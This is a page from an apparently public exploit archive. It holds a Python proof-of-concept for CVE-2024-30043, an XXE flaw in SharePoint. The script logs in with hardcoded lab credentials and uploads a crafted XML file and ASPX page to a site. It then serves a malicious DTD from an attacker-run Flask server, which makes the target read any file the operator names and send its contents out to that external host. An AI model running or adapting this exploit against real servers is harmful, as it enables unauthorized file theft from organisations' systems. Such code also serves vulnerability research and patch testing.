4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-30043-XXE.py PY
import os
import random
import string
import logging
from urllib.parse import unquote
import flask
from flask import Flask, send_file, request
import requests
from requests_ntlm import HttpNtlmAuth
from threading import Thread, Event
import time

flask.cli.show_server_banner = lambda *args: None
werkzeug_logger = logging.getLogger('werkzeug')
werkzeug_logger.disabled = True
app = Flask(__name__)

def GenerateRandomString(length):
    characters = string.ascii_letters + string.digits
    return "".join(random.choices(characters, k=length))

def GenerateEvilXmlAndAspx(variable_name, evil_dtd, sitepath):
    evil_xml_content = f"""<?xml version="1.0" ?>\n<!DOCTYPE a [\n<!ELEMENT a ANY >\n<!ENTITY % remote SYSTEM "{evil_dtd}">
%remote;\n%int;\n%send;\n]>\n<a>wat</a>"""
    evil_aspx_content = f"""<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<%@ Page Language="C#" %>
<%@ Register tagprefix="SharePoint" namespace="Microsoft.SharePoint.WebControls" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<meta name="WebPartPageExpansion" content="full" />
    <title>{variable_name}</title>
    <meta http-equiv="X-UA-Compatible" content="IE=10" />
    <SharePoint:CssRegistration Name="default" runat="server"/>
</head>
<body>
    <form id="form{variable_name}" runat="server">
        <SharePoint:SPXmlDataSource ID="XmlDataSource{variable_name}" runat="server" DataFile="file://localhost\\c${sitepath}/{variable_name}.xml" />
        <asp:GridView ID="GridView{variable_name}" runat="server" DataSourceID="XmlDataSource{variable_name}" AutoGenerateColumns="true" />
    </form>
</body>
</html>"""
    with open(f"{variable_name}.xml", "w", encoding="utf-8", newline="") as evil_xml:
        evil_xml.write(evil_xml_content)
    with open(f"{variable_name}.aspx", "w", encoding="utf-8", newline="") as evil_aspx:
        evil_aspx.write(evil_aspx_content)

def GetAuthSesion(username, password):
    session = requests.Session()
    session.auth = HttpNtlmAuth(username, password)
    return session

def GetSiteID(url, sitepath, proxy, session):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36",
        "Accept": "application/json;odata=verbose"
    }
    response = session.get(f"{url}/{sitepath}/_api/web", headers=headers, proxies=proxy, verify=False, timeout=20)
    if response.status_code == 200:
        data = response.json()
        site_id = data['d']['Id']
        print(f'Site ID: {site_id}')
    else:
        print(f'Error: {response.status_code}')
        print(response.text)

def UploadFilesToWebRoot(url, sitepath, proxy, filepath, session):
    file_name = os.path.basename(filepath)
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36",
        "Accept": "application/json;odata=verbose"
    }
    upload_url = f"{url}{sitepath}/_api/web/GetFolderByServerRelativeUrl('{sitepath}')/Files/add(url='{file_name}',overwrite=true)"
    token_response = session.post(f"{url}{sitepath}/_api/contextinfo", headers=headers, proxies=proxy, verify=False,
                                  timeout=20)
    if token_response.status_code != 200:
        print(token_response.text)
    token = token_response.json()["d"]["GetContextWebInformation"]["FormDigestValue"]
    with open(filepath, "rb") as file:
        file_content = file.read()
    headers = {
        "Accept": "application/json;odata=verbose",
        "Content-Type": "application/octet-stream",
        "X-RequestDigest": token,
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
    }
    response = session.post(upload_url, headers=headers, data=file_content, proxies=proxy, verify=False, timeout=20)
    if response.status_code == 200:
        print(f"[+] Upload successfully: {url}{sitepath}/{file_name}")
    else:
        print(response.status_code)
        print(response.text)

def TriggerRce(url, sitepath, proxy, filename, session):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
    }
    session.get(f"{url}{sitepath}/{filename}", proxies=proxy, headers=headers, verify=False, timeout=20)

def CreateDtdXml(dtdname, file_to_read, evilhost, port):
    dtd_xml_content = f"""<!ENTITY % file SYSTEM "file:///{file_to_read}">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://{evilhost}:{port}/?p=%file;'>">"""
    with open(dtdname, "w", encoding="utf-8") as dtd_xml:
        dtd_xml.write(dtd_xml_content)

@app.route("/", methods=["GET"])
def HandleOOB():
    global file_text
    raw_url = request.url
    file_text = unquote(raw_url.split("?p=")[1])
    print(file_text)
    file_received_event.set()
    return ""

@app.route("/<path:filename>", methods=["GET"])
def HandleFile(filename):
    if filename.endswith(".xml"):
        return send_file(filename, as_attachment=True)

if __name__ == "__main__":
    url = "http://sp2019/".strip("/")
    sitepath = "/sites/cvetest"
    proxy = {
        "http": "127.0.0.1:8083",
        "https": "127.0.0.1:8083"
    }
    # proxy = None
    username = "CVE\\Administrator"
    password = "1qaz@WSX!@#456"
    dtdname = "dtd.xml"
    evilhost = "192.168.198.1"
    port = 8080
    session = GetAuthSesion(username, password)
    variable_name = GenerateRandomString(8)
    GetSiteID(url, sitepath, proxy, session)
    GenerateEvilXmlAndAspx(variable_name, f"http://{evilhost}:{port}/{dtdname}", sitepath)
    UploadFilesToWebRoot(url, sitepath, proxy, f"{variable_name}.xml", session)
    UploadFilesToWebRoot(url, sitepath, proxy, f"{variable_name}.aspx", session)
    file_received_event = Event()
    flask_thread = Thread(target=app.run, kwargs={'host': evilhost, 'port': port})
    flask_thread.start()
    while True:
        file_to_read = input("[*] What file would you like to read? eg: c:/windows/win.ini > ").replace("\\", "/")
        CreateDtdXml(dtdname, file_to_read, evilhost, port)
        file_received_event.clear()
        TriggerRce(url, sitepath, proxy, f"{variable_name}.aspx", session)
        while not file_received_event.is_set():
            time.sleep(1)